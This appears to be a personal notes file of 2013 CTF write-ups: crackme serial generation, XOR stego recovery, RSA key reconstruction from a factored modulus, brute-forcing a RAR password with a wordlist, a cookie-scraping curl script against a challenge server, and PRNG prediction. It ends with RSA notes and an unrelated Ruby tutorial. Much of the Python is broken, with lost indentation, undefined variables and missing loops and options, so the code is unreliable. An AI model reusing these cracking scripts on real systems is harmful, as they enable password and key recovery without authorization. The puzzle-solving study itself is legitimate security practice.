3c9b3eb97ab8f8c1cfb83aeb75e7ebae9e7faf77ebeade3ce77edbc7cdeef967acf65d787c20f0536454b36c0d998ab35503686ccd84795550e50f22034b0b5511cd49aa33446c09a8d66a24ca321598596cb535880d890d95b4226cdac8a971252c9153c38054b06a6aab416b22a58a29ad121d2a34924728aae0918ba701570495855cd785550e2205c06a5266ab9491ca1c35550d5017800ec6da6c98aa5649a24334a3166a84b96d8a970256d22534c852cdadac284b5052b56a922d0c4a596a36998c46a98ad98d532d25acb2ad1416916a98165491a14856aa942205002a61668566162d69534ad0c2d16295aca455b0616126c36141929ab5325986832159223101859252c2329b42c9332a8d0834daab4b02c84ad858b16d3584ac8d6b55a180655a86d5546b150655894d2d06d294c90306696ca505050c2b2a349144a4c440aa56ac064d16cb62b2daa1a2d628c5915ad5604cacc952d9828955408519500071631e1f7c1f867f11d2f076331f1821e0db0604cc0a51e54cd10fe906c2531dc02045520201c25547cd09fa1369c5c29564c3d13b3241deef406acc8c633fe8d450b21c001007e2ee48a70a121aefa8f8c' | xxd -p -r | tar xvjf -`
main.js
# `grep 'var loginScript' main.js | sed 's/var /exports./' > variable.js`
# `nodejs`
> `ls = require('./variable.js');`
> `eval(ls.loginScript.slice(2,-2));`
[ 'if (document.getElementById(\'user_pass\').value === "0f97972a0efd34ebb3111ac8ec6976740529df531e94df14d0ee8614a07d153b") { alert(\'win\'); } else { alert(\'try again\'); }' ]```

### # SecurityArtWork: Reversing challenge

```# `wget --quiet http://www.securityartwork.es/wp-content/uploads/2013/11/serial.exe`
# `file serial.exe`
serial.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows```
- Breakpoints
```004019B5  |. E8 F6FCFFFF               CALL serial.004016B0
00401776   . 83E8 0F                   SUB EAX,0F
004018FA   . 39C2                      CMP EDX,EAX```
- Key function
```004018D2   . 8B45 F8                   MOV EAX,DWORD PTR SS:[EBP-8]
004018D5   . 83C0 01                   ADD EAX,1
004018D8   . 8B0485 00404000           MOV EAX,DWORD PTR DS:[EAX*4+404000]
004018DF   . 8B1485 40704000           MOV EDX,DWORD PTR DS:[EAX*4+407040]
004018E6   . 8B45 F8                   MOV EAX,DWORD PTR SS:[EBP-8]
004018E9   . 83C0 02                   ADD EAX,2
004018EC   . 8B0485 00404000           MOV EAX,DWORD PTR DS:[EAX*4+404000]
004018F3   . 8B0485 40704000           MOV EAX,DWORD PTR DS:[EAX*4+407040]
004018FA   . 39C2                      CMP EDX,EAX
004018FC   . 75 0C                     JNZ SHORT serial.0040190A```

```# `cat serial.py`
#!/usr/bin/python

check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5]
key = ""

for i in range(16):
for j in range(10):
if i*j % 10 == check[i]:
key += str(j)
break
print key
# `./serial.py`
0430400527053331
# `cat serials.py`
#!/usr/bin/python

check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5]
key = ""

def serial(key,p):
for n in range(10):
if p*n % 10 == check[p]:
if p < 15:
serial(key + str(n),p+1)
else:
print key + str(n)
serial("",0)

C:\> `serial.exe 0430400527053331`
Valid serial number :-)```

### # CSCamp CTF Quals 2k13: Steganography - PNG

```# `file enc.png`
enc.png: data
# `cat png.py `
#!/usr/bin/python

png = 0x89504e470d0a
enc = 0xf1601c2c3e73

key = str(hex(png^enc))[2:].decode("hex")
print key

encfd = open("enc.png","rb")
encfd.close()
size = len(data)

decfd=open("dec.png","wb")
j = 0

for i in data:
decfd.write(chr(ord(i)^ord(key[j%6])))
j+=1

decfd.close()
# `./png.py`
x0Rk3y
# `file dec.png`
dec.png: PNG image data, 640 x 400, 8-bit/color RGBA, non-interlaced```

### # CSCamp CTF Quals 2k13: Crypto - public is enough! (400 points)

```# `grep -v - public.pem | tr -d '\n' | base64 -d | openssl asn1parse -inform DER -i`
0:d=0  hl=2 l= 124 cons: SEQUENCE
2:d=1  hl=2 l=  13 cons:  SEQUENCE
4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
15:d=2  hl=2 l=   0 prim:   NULL
17:d=1  hl=2 l= 107 prim:  BIT STRING
# `grep -v - public.pem | tr -d '\n' | base64 -d | openssl asn1parse -inform DER -i -strparse 17`
0:d=0  hl=2 l= 104 cons: SEQUENCE
101:d=1  hl=2 l=   3 prim:  INTEGER           :010001
# `openssl rsa -pubin -inform PEM -text -noout < public.pem`
Public-Key: (768 bit)
Modulus:
00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)
# `# Find p and q using this URL http://www.factordb.com/index.php`
n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917

# `ipython`
: `import gmpy`
: `p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489`
: `q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917`
: `totien = (p-1) * (q-1)`
: `e = 65537`
: `d = hex(gmpy.invert(e,totien))`
: `d`

# `cat rsatool.py`
#!/usr/bin/python2
import base64, fractions, optparse, random
import gmpy

from pyasn1.codec.der import encoder
from pyasn1.type.univ import *

PEM_TEMPLATE = '-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n'
DEFAULT_EXP = 65537

def factor_modulus(n, d, e):
"""
Efficiently recover non-trivial factors of n

See: Handbook of Applied Cryptography
8.2.2 Security of RSA -> (i) Relation to factoring (p.287)

http://www.cacr.math.uwaterloo.ca/hac/
"""
t = (e * d - 1)
s = 0

while True:
quotient, remainder = divmod(t, 2)

if remainder != 0:
break

s += 1
t = quotient

found = False

i = 1
a = random.randint(1,n-1)

c1 = pow(a, pow(2, i-1, n) * t, n)
c2 = pow(a, pow(2, i, n) * t, n)

found = c1 != 1 and c1 != (-1 % n) and c2 == 1

i += 1

p = fractions.gcd(c1-1, n)
q = (n / p)

return p, q

class RSA:
def __init__(self, p=None, q=None, n=None, d=None, e=DEFAULT_EXP):
"""
Initialize RSA instance using primes (p, q)
or modulus and private exponent (n, d)
"""

self.e = e

if p and q:
assert gmpy.is_prime(p), 'p is not prime'
assert gmpy.is_prime(q), 'q is not prime'

self.p = p
self.q = q
elif n and d:
self.p, self.q = factor_modulus(n, d, e)
else:
raise ArgumentError('Either (p, q) or (n, d) must be provided')

self._calc_values()

def _calc_values(self):
self.n = self.p * self.q

phi = (self.p - 1) * (self.q - 1)
self.d = gmpy.invert(self.e, phi)

# CRT-RSA precomputation
self.dP = self.d % (self.p - 1)
self.dQ = self.d % (self.q - 1)
self.qInv = gmpy.invert(self.q, self.p)

def to_pem(self):
"""
Return OpenSSL-compatible PEM encoded key
"""
return PEM_TEMPLATE % base64.encodestring(self.to_der())

def to_der(self):
"""
Return parameters as OpenSSL compatible DER encoded key
"""
seq = Sequence()

for x in [0, self.n, self.e, self.d, self.p, self.q, self.dP, self.dQ, self.qInv]:
seq.setComponentByPosition(len(seq), Integer(x))

return encoder.encode(seq)

def dump(self, verbose):
vars = ['n', 'e', 'd', 'p', 'q']

if verbose:
vars += ['dP', 'dQ', 'qInv']

for v in vars:
self._dumpvar(v)

def _dumpvar(self, var):
val = getattr(self, var)

parts = lambda s, l: '\n'.join([s[i:i+l] for i in xrange(0, len(s), l)])

if len(str(val)) <= 40:
print '%s = %d (%#x)\n' % (var, val, val)
else:
print '%s =' % var
print parts('%x' % val, 80) + '\n'

if __name__ == '__main__':
parser = optparse.OptionParser()

parser.add_option('-e', dest='e', help='public exponent (default: %d)' % DEFAULT_EXP, type='int', default=DEFAULT_EXP)
parser.add_option('-f', dest='format', help='output format (DER, PEM) (default: PEM)', type='choice', choices=['DER', 'PEM'], default='PEM')
parser.add_option('-v', dest='verbose', help='also display CRT-RSA representation', action='store_true', default=False)

try:
(options, args) = parser.parse_args()

if options.p and options.q:
print 'Using (p, q) to initialise RSA instance\n'
rsa = RSA(p=options.p, q=options.q, e=options.e)
elif options.n and options.d:
print 'Using (n, d) to initialise RSA instance\n'
rsa = RSA(n=options.n, d=options.d, e=options.e)
else:
parser.print_help()
parser.error('Either (p, q) or (n, d) needs to be specified')

rsa.dump(options.verbose)

if options.filename:
print 'Saving %s as %s' % (options.format, options.filename)

if options.format == 'PEM':
data = rsa.to_pem()
elif options.format == 'DER':
data = rsa.to_der()

fp = open(options.filename, 'wb')
fp.write(data)
fp.close()

except optparse.OptionValueError, e:
parser.print_help()
parser.error(e.msg)
# `./rsatool.py -p 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489 -q 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917 -n 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413 -e 65537`
Using (p, q) to initialise RSA instance

n =
f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f
06e3e95c26476091b52f462e79413db5

e = 65537 (0x10001)

d =
46c16c79ac162874f28ca610c1b97e5e1ffae95725ce0c6b031c3e188b17187a793b322cc4004c56
8e76c9b258542ea2a2d6ecd462fff401

p =
d982ec7b440e2869d2535e51f91bacc3eb6eba042e106e6f875c3d17e53db65fffd6e4e9a36084ce
60f83d754dd7f701

q =
eebe6dd23ce7e99c0e2249fecc4418c34af74e418bfa714c3791828414ab18f32fd7e093062a49b0
30225cc845f99ab5

# `ipython`
: `from Crypto.PublicKey import RSA`
: `keypair = RSA.generate(1024)`
: `keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413`
: `keypair.e = 65537`
: `keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553`
: `keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489`
: `keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917`
: `private = open('private.pem','w')`
: `private.write(keypair.exportKey())`
: `private.close()`
: `exit`
# `openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem`
F4ct0r!zaTi0N

# `cat RSAcrack.py`
#!/usr/bin/python

from sys import*
from string import*

a = argv
[s,p,q] = filter(lambda x:x[:1]!= '-',a)
print "s = " + str(s)
print "p = " + str(p)
print "q = " + str(q)
d='-d' in a
print "d = " + str(d)
e, n = atol(p,16), atol(q,16)
print "e = " + str(e)
print "n = " + str(n)
l = (len(q) + 1) / 2
print "l = " + str(l)
o, inb = l-d, l-1+d
print "o = " + str(o)
print "inb = " + str(inb)
while s:
s and map(stdout.write, map(lambda i, b=pow(reduce(lambda x,y : (x<<8L)+y, map(ord,s)), e, n) : chr(b>>8*i&255), range(o-1, -1, -1)))
# `cat message.enc | ./RSAcrack.py -d 740de48760442835baad5e1990453a9d16db7976d3f8bb98bf99c0c01cbe9b9c12b808c80683d1e346c16c79ac162874f28ca610c1b97e5e1ffae95725ce0c6b031c3e188b17187a793b322cc4004c568e76c9b258542ea2a2d6ecd462fff401 cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5 | strings`
F4ct0r!zaTi0N```

### # CSCamp CTF Quals 2k13: Steganography - Stego 3

Sam says "I love you, no really."
Mike says "Hot steamy grits!"
Mike says "Hot steamy grits!"
Mike says "No."
Sam says "Get off my colon"
Harold says "Who said OJ?"
Sam says "Who said OJ?"
JYA says "Jason paid me for it."
Harold says "Jason paid me for it."
Kenny says "Jason paid me for it."
Jason says "But I read slash-dot"
Phil says "Well smother me in curry sauce and lick me."
Adam says "Did he mean to die just then?"
Phil says "Mike - you ladyboy!"
Mike says "I said, you've got beautiful eyes."
Andy says "Mine's a pint"
Adam says "I said, you've got beautiful eyes."
Adam says "So avoid that then!"
Harold says "Did he mean to die just then?"
JYA says "But I read slash-dot"
Phil says "Show me the fish!"
Sam says "Okay, now think of a funny line"
Mike says "Well smother me in curry sauce and lick me."
Mike says "Mike - you ladyboy!"
JYA says "Okay, now think of a funny line"
Adam says "Jason paid me for it."
Sam says "I never talk politics."
Mike says "Mmmm ... "
Harold says "Okay, now think of a funny line"
Mike says "Mine's a pint"
JYA says "Mike - you ladyboy!"
Kenny says "Who said OJ?"
Andy says "Alive"
Jason says "I'm so excited"
Kenny says "No."
Kenny says "No."
Andy says "I'd say Thursday"
JYA says "I'll be your private dancer, a dancer for money, I'll do what you want me to do."
Mr Hanky says "Mine's a pint"
JYA says "What does MPEG mean?"
Andy says "Has anyone noticed the plot is straying from ... well reason, really... "
JYA says "Mike - you ladyboy!"
Mike says "Mike - you ladyboy!"
Mike says "I said, you've got beautiful eyes."
Jason says "Has anyone noticed the plot is straying from ... well reason, really... "
Mr Hanky says "What does MPEG mean?"
Sam says "I'll be your private dancer, a dancer for money, I'll do what you want me to do."
Harold says "Who said OJ?"
Mike says "I'd say Thursday"
Sam says "So avoid that then!"
Harold says "What does MPEG mean?"
Mike says "Hot steamy grits!"
Kenny says "Did he mean to die just then?"
Kenny says "Well smother me in curry sauce and lick me."
Harold says "Did he mean to die just then?"
Phil says "So avoid that then!"
Sam says "Mine's a pint"
Andy says "So avoid that then!"
end of scene

```# `wget --quiet http://web.archive.org/web/20100826055053/http://www.scramdisk.clara.net/play/playmaker.zip`
# `# Use playmaker to get the URL`
# `wget --quiet http://www.mediafire.com/download/5fppbkaujddijuk/bruteme.rar`
# `while read line; do result=`unrar x bruteme.rar -p\$line 2> /dev/null | grep OK`; if [ "\$result" != "" ]; then echo "Password = '\$line'"; break; fi; done < dic.txt && cat Flag.txt`
The Flag is {fb7df6e9ea6a5eb47263734fc158aceb}```

### # CSCamp CTF Quals 2k13: Forensics - Forensics 1 (200 points)

```# `cat dataNov-8-2013.sql`
DROP TABLE `myTable`;

CREATE TABLE `myTable` (
`id` mediumint(8) unsigned NOT NULL auto_increment,
`name` varchar(255) default NULL,
`permission` mediumint default NULL,
`score` varchar(100) default NULL,
PRIMARY KEY (`id`)
) AUTO_INCREMENT=1;

INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Riley Holman","4BA964803B710605F6F7BBFF2CE81BF6",421,"77.88");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Maxine Austin","DE8E13534B39BA8354247F3F1EF85A82",428,"19.88");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Aretha Ball","A46E8222DCB12F466396586DD05F9604",436,"71.37");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Iliana Combs","4956611731BA8F4F4C52A67A0EA4917D",433,"18.58");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Sacha Evans","1F69275D041F9E5C8B43C2D0CF8A95FB",415,"23.13");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Gabriel Floyd","7DA5DF7C8615FD929CFA8F339924E896",416,"15.65");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Cole Pierce","223FB9108E9A85A2E9622F57DD0324F5",421,"70.29");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Carolyn Evans","2B5234CEC28F0253448C25D6816D782A",414,"90.68");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Jelani Rodgers","8B867BE7B0CF51723DFA50038852DDF5",428,"83.10");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Josephine Ratliff","02A7EB4D15539223833CBB2E9FDE85A9",426,"3.45");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Ginger Brooks","71653BA64D976CA38656F54EE9981F99",401,"53.71");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Yuri Suarez","3B8AF637C01F98508A479E010FA90A73",418,"18.35");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Ainsley Stone","562C32E3C78C0317CF7D0789731A918F",425,"35.04");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Molly Powell","BDAE91761A79770577E1F129B32ABD67",436,"32.12");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Alyssa Gregory","52CB473DFBE43624547FFB29700EB040",410,"22.62");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("August Rodgers","78057B4CFAE303BF262CD2CCDD0E01A8",433,"0.75");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Evan Cohen","120C001D3DD3700C0A2E5A79CBB07039",410,"59.59");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Steel Richmond","72B3DA05A80855DD6F0874E9C8077E3E",402,"78.22");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Vielka Chambers","E9334B3C18AEF9F8136A0FB76AA5B989",412,"32.31");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Oleg Sherman","871589F79961AA75A701EBC466C0A8E2",448,"15.53");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Wyatt Humphrey","796E2F53AFBF930B1B762D237A1AA112",433,"65.41");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Kay Benson","D86025C1F02A1E270FA47552F6311B2E",413,"77.40");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Lacy West","6EC8DCB8E9A69A0E26446B78C3AA73AE",408,"29.38");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Hiram Hurst","02280B275C73EE7342ACFE7A6B44DBCE",444,"81.44");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Randall Pearson","F29286D07B348490C9D87503B66063C6",420,"72.95");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Grace Mckenzie","EB7F2337B70C4AAC1FC5B2CC9F805D94",431,"29.35");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Aurora Davis","C4640E4D2E7E07B52D1E7167641BE2EB",422,"12.14");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Norman Durham","DEF31249723B8F56245F16C9FF1F5C33",435,"63.53");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Dillon Yang","10A498AC98890B90B5CD8750700BB5BC",419,"89.23");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Haley Branch","FEBB74414FA5BF1888E80F9BAE774D93",435,"51.42");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Finn Woods","2934E3E3EE577D5FD5890708BD1F86FB",400,"47.24");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Craig York","E6E25D7D443428CC84C00A1F28FE83E7",432,"73.24");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Rudyard Mejia","FA1DF603880504104B24EA3C37AA1741",408,"90.53");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Grace Todd","1CE546597AB7E7A254628DC2F4707DE9",429,"12.74");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Kieran Bryant","F753400403B3EF3C37173399F9D9E6BD",443,"45.67");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Alfreda Beach","20161525318F501C456D40AEE19CE9D0",433,"62.25");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Vernon Joyce","C4917BA71B8EFE4D358149A074D8EC0B",402,"65.50");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Maryam Sandoval","867F728527AFAF7B30648A219F150C28",407,"57.94");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Ifeoma Larsen","4F211C6FAB4C9417D58B94C626BBC231",403,"80.25");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Hermione Craig","2292D579EBA69FE5821E58A15C56DBA0",446,"8.18");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("David Crane","B9A586FFFFD480676E183EDAB94C78F3",406,"91.12");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Mercedes Lott","A089077408B7E996D7483DC055097A21",437,"18.61");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Melodie Patton","C2212ACA95303B5BE38E9DE249455F11",406,"52.03");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Denise Cardenas","4FEF84297DF3C2BBB89EC332824948B9",423,"63.72");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Sarah Owen","B645BFAB686B33309F28FC38D9AED798",445,"73.31");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Selma Simon","9C8530BE4F25827013490D4EAB83A503",408,"75.45");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Wanda Chambers","FB002E2DA3160A89271C50380A508428",400,"12.05");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Courtney Le","21AFCE12ECB8E29B8AE0B96B2BDAB12D",410,"83.37");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Shay Short","FCF2ABE3A0D5974A2E1D0CBA8DD60B30",424,"63.03");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Chanda Clarke","2E05813EBA25D06B137CC4A25565D980",423,"29.56");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Leroy Haney","FB9D640C103D264E2985EDB4B4DBC61C",406,"7.14");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Drew Donaldson","5FB3DA68B2C2DE5DBDA41EF155B4AF7F",449,"15.88");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Daniel Crane","CE95AB2D9026CF010F1146D80C00C438",408,"67.83");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Fredericka Rice","B303DEC6AAAC075C8A37D21C06F185E3",426,"71.67");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Vance Huff","5D3C7E74FFAB75FF210F27F4F422C1A2",446,"45.38");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Shaine Ward","6C6AB557DA6CD8DCA4BF3016C20F0EE7",432,"69.75");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Ezekiel Bush","5A7C8125EB2A6665A66038129F00952E",401,"3.46");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Catherine Daniel","CB30AAAEBA9DDC0383A5F74A4DFA02DD",443,"16.57");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Jillian Alston","3609AAEAC8A0C7652008BE60C5616E1A",415,"52.98");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Deborah Moreno","16A86BBD8913F80F80AB7354982306D1",440,"70.72");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Keaton Navarro","3360C02FFA0F219D8C3D5C09C67E3087",413,"97.27");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Wanda Justice","0F90F41E6374B479A49400BE4B7B0630",419,"5.66");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Sacha Briggs","513386AC2F4B995D9598A5055686C582",423,"33.26");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Leilani Rivas","A9E928D9D79ABF74AB6CCF6FEB8E21AC",434,"98.00");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Kylie Green","D136FAF95F0AAB1770E7F9FDC189B1E8",411,"10.19");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Brian Welch","2CFC1ECC98D00DE7D87B484E46CD9ECC",435,"11.88");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Orson Livingston","DA593D64D4251BCC040E86B50A1C5D52",426,"3.11");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Mikayla Ratliff","C820573A8E75FB5D3C99D3BA99FB1A7D",408,"38.26");
INSERT INTO `myTable` (`name`,`password`,`permission`,`score`) VALUES ("Gay Buck","D5CC5123B49E33CC7356B8C1EE5D1AEE",402,"77.25");

# `names=\$(while read line; do hex=`echo "\$line" | xxd -p | tr -d '\n'`; if [ "`echo \$hex | grep 0d`" != "" ]; then echo "`grep -A 1 "\$line" dataNov-8-2013.sql | tail -n 1 | awk -F '"' '{print \$2}'`"; fi; done < dataNov-8-2013.sql | tr '\n' ',')`
# `echo -n \${names:0:-1} | md5sum`
71284b9edd33e4141952b325a9c6acda```

### # CSCamp CTF Quals 2k13: Web - Robots

```# `cat robots`
#!/bin/bash

name=`curl --silent --cookie-jar botmania --cookie botmania 'http://176.9.193.6/challenges_x/final/wbb_x2/' | grep 'text" name' | awk -F '"' '{print \$4}'`
solution=`grep challenge botmania | awk '{print \$NF}' | tr '+' ' ' | sed -e 's/%2A/*/' -e 's/%2B/+/' -e 's/%2D/-/' -e 's/%2F/\//' | bc -l`
#--proxy 127.0.0.1:8080

### # CSCamp CTF Quals 2k13: Crypto - Predictor

can you predict the next number in the sequence?

[51751041,236753494,190402293,48644501,297659248,230684862,7697029,173742959,126005793]

The code used to create those numbers is

import random
i = 295075153L
x = random.randint(0, i)
y = random.randint(0, i)
for j in range (1,10):
x = (2*x + 5) % i
y = (3*y + 7) % i
print (x^y)

The flag will be the next number in the sequence

```# `cat predictor.py`
#!/usr/bin/python

import random

i = 295075153

def sequence(x,y):
for j in range (1,11):
x = (2*x + 5) % i
y = (3*y + 7) % i
print (x^y)

y = 0
while True:
y1 = (3*y + 7) % i
x1 = y1^51751041
x2 = (2*x1 + 5) % i
y2 = (3*y1 + 7) % i
if x2^y2 == 236753494:
print "y = " + str(y)
x = 0
'''
while True:
if x1 == (2*x + 5) % i:
print "x = " + str(x)
sequence(x,y)
exit()
x += 1
'''
x = (i + x1 - 5) / 2
print "x = " + str(x)
sequence(x,y)
exit()
y += 1
# `./predictor.py`
y = 173565935
x = 268355495
51751041
236753494
190402293
48644501
297659248
230684862
7697029
173742959
126005793
103605566```

### # RSA operation

Key generation

```p # prime number
q # prime number
n # modulus
n = p * q

totien(n) = (p - 1) * (q - 1)

e # public key exponent
1 < e < totien(n) and gcd(e, n) = 1

d # private key exponent

# Method 1
d =  gmpy.invert(e, totien(n))

# Method 2
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
return None  # modular inverse does not exist
else:
return x % m

d = modinv(e, totien(n))

# Method 3
d = 1
while True:
if (e * d - 1) % totien_n == 0:
print d
break
else:
d += 1

(e, n) # public key
(d, n) # private key```

Example

```p = 61
q = 53
n = 53 * 61 = 3233
totien(3233) = (53 - 1) * (61 - 1) = 3120
e = 17
d = modinv(e, totien(3233)) = 2753

(17, 3233) # public key
(2753, 3233) # private key

m = 65 # message
c # ciphertext```

Encryption

```c = m**e % n = pow(m, e, n)
c = 65**17 % 3233 = pow(65, 17, 3233) = 2790```

Decryption

```m = c**d % n = pow(c, d, n)
m = 2790**2753 % 3233 = pow (2790, 2753, 3233) = 65

# CRT (to speed up calculation)
dp = d % (p - 1) = 2753 % (61 - 1) = 53
dq = d % (q - 1) = 2753 % (53 - 1) = 49
qinv = modinv(q, p) = modinv(53, 61) = 38
m1 = c**dp % p = 2790**53 % 61 = 4
m2 = c**dq % q = 2790**49 % 53 = 12
h = (qinv * (m1 - m2)) % p = (38 * (4 - 12)) % 61 = 1
m = m2 + (h * q) = 12 + (1 * 53)= 65```

References

https://en.wikipedia.org/wiki/RSA_(cryptosystem)
https://en.wikipedia.org/wiki/Chinese_remainder_theorem
https://factordb.com

1. Introduction to Ruby

```my_num = 25
my_boolean = true
my_string = "Ruby"

3+3
3-3
3*3
3/3
3**3
3%3

puts "What's up" # newline
print "Montalvo"

"I love espresso".length
"Eric".reverse
puts "eric".upcase
puts "ERIC".downcase
puts "Eric".downcase.reverse.upcase

=begin
I'm a comment!
I don't need any # symbols.
=end

first_name = gets.chomp
first_name.capitalize!
2. Control Flow in Ruby

```x = 1
y = 2
if x < y
puts "x is less than y!"
elsif x > y
puts "x is greater than y!"
else
puts "x equals y!"
end

hungry = false
unless hungry
puts "I'm writing Ruby programs!"
else
puts "Time to eat!"
end

is_true = 2 != 3
is_false = 2 == 3
test_1 = 17 > 16
test_2 = 21 < 30
test_3 = 9 >= 9
test_4 = -11 <= 4

true && true # => true
false || false # => false
!true # => false
(3 < 4 || false) && (false || true)```
3. Looping with Ruby

```counter = 1
while counter < 11
puts counter
